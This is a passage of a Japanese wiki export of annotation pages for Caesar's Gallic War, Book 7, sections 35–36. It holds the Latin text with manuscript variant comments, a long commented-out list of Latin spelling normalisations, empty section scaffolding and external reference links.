&amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;⑥&lt;/sup&gt;Celeriter effectō opere legiōnibusque trāductīs et locō castrīs idōneō dēlēctō&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; reliquās cōpiās revocāvit.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;⑦&lt;/sup&gt;Vercingetorīx rē cognitā, nē contrā suam voluntātem dīmicāre cōgerētur, magnīs itineribus antecessit.  &lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
---- 
;注記
&lt;!--
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:omnis#Latin|omnīs]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  &lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#35節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==
* [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=264 #264 - C. Iuli Caesaris De bello gallico libri VII : Caesar's Gallic ... - Full View | HathiTrust Digital Library]
* [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7.35 Scaife Viewer | De Bello Gallico]
* [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.35.1-7.35.6 Caesar's Stratagem to Cross the Elaver River — Julius Caesar, Gallic War Book 7 (7.35.1–7.35.6), Latin &amp; English · Humanitext Reader]
* [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.35.1-7.35.6 カエサルの計策とエラウェル川の渡河｜『ガリア戦記』§7.35.1-7.35.6（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]

[[Category:ガリア戦記 第7巻|35節]]</text>
      <sha1>3qez3nfufuvwk3uyh26ghkjs99eee2k</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記 第7巻/注解/36節</title>
    <ns>0</ns>
    <id>48970</id>
    <revision>
      <id>305250</id>
      <parentid>305123</parentid>
      <timestamp>2026-11-01T06:59:03Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <comment>/* 原文テキスト */</comment>
      <origin>305250</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="17997" sha1="hp6t3m0ir68nccuy5ej1j5z0v4cmnbx" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/35節|35節]] |
[[ガリア戦記 第7巻/注解/36節|36節]] |
[[ガリア戦記 第7巻/注解/37節|37節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 36. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;1&lt;/sup&gt; Caesar ex eo loco quintis castris Gergoviam pervenit equestrique eo die proelio levi facto, perspecto urbis situ, quae posita in altissimo monte omnis&lt;!--omnes--&gt; aditus difficilis&lt;!--difficiles--&gt; habebat, de &lt;!--(α) --&gt;expugnatione&lt;!--(β) --&gt; desperavit&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  de obsessione non prius agendum constituit&lt;!--,--&gt; quam rem frumentariam expedisset.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;2&lt;/sup&gt; At Vercingetorix, castris&lt;!--,--&gt; prope oppidum &lt;!--(β) in monte--&gt; positis, mediocribus circum se intervallis separatim singularum civitatum copias collocaverat&lt;!--conlocaverat--&gt;&lt;!--,--&gt; atque omnibus eius iugi collibus occupatis, qua despici poterat, horribilem speciem praebebat;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;3&lt;/sup&gt; principesque earum civitatum&lt;!--,--&gt; quos sibi ad consilium capiendum delegerat&lt;!--,--&gt; prima luce cotidie ad se convenire iubebat, seu quid communicandum&lt;!--,--&gt; seu quid administrandum videretur&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❹--&gt;&lt;sup&gt;4&lt;/sup&gt; neque ullum fere diem intermittebat&lt;!--,--&gt; quin equestri proelio interiectis sagittariis&lt;!--,--&gt; quid in quoque esset animi ac virtutis suorum&lt;!--,--&gt; periclitaretur&lt;!--(α) perspiceretur--&gt;&lt;!--(Tc) perspiceret--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;5&lt;/sup&gt; Erat e regione oppidi collis sub ipsis radicibus montis&lt;!--,--&gt; egregie munitus atque ex omni parte circumcisus;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostis&lt;!--hostes--&gt; videbantur.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;6&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;!--(ω) --&gt;nimis firmo&lt;!--(Zucker) infirmo--&gt; &lt;!--(Oudendorp) --&gt;tamen tenebatur&lt;!--(ω) tenebatur. Tamen--&gt;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;7&lt;/sup&gt; silentio noctis Caesar ex castris egressus, prius quam&lt;!--priusquam--&gt; subsidio ex oppido veniri posset&lt;!--,--&gt; deiecto praesidio, potitus loco duas ibi legiones collocavit&lt;!--conlocavit--&gt;, fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, ut tuto ab repentino hostium incursu etiam singuli commeare possent.  &lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
----
;テキスト引用についての注記


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; 


&lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;sup&gt;&lt;/sup&gt; 
&lt;!--  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  --&gt;
---- 
;注記
&lt;!--
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:hostis#Latin|hostīs]], 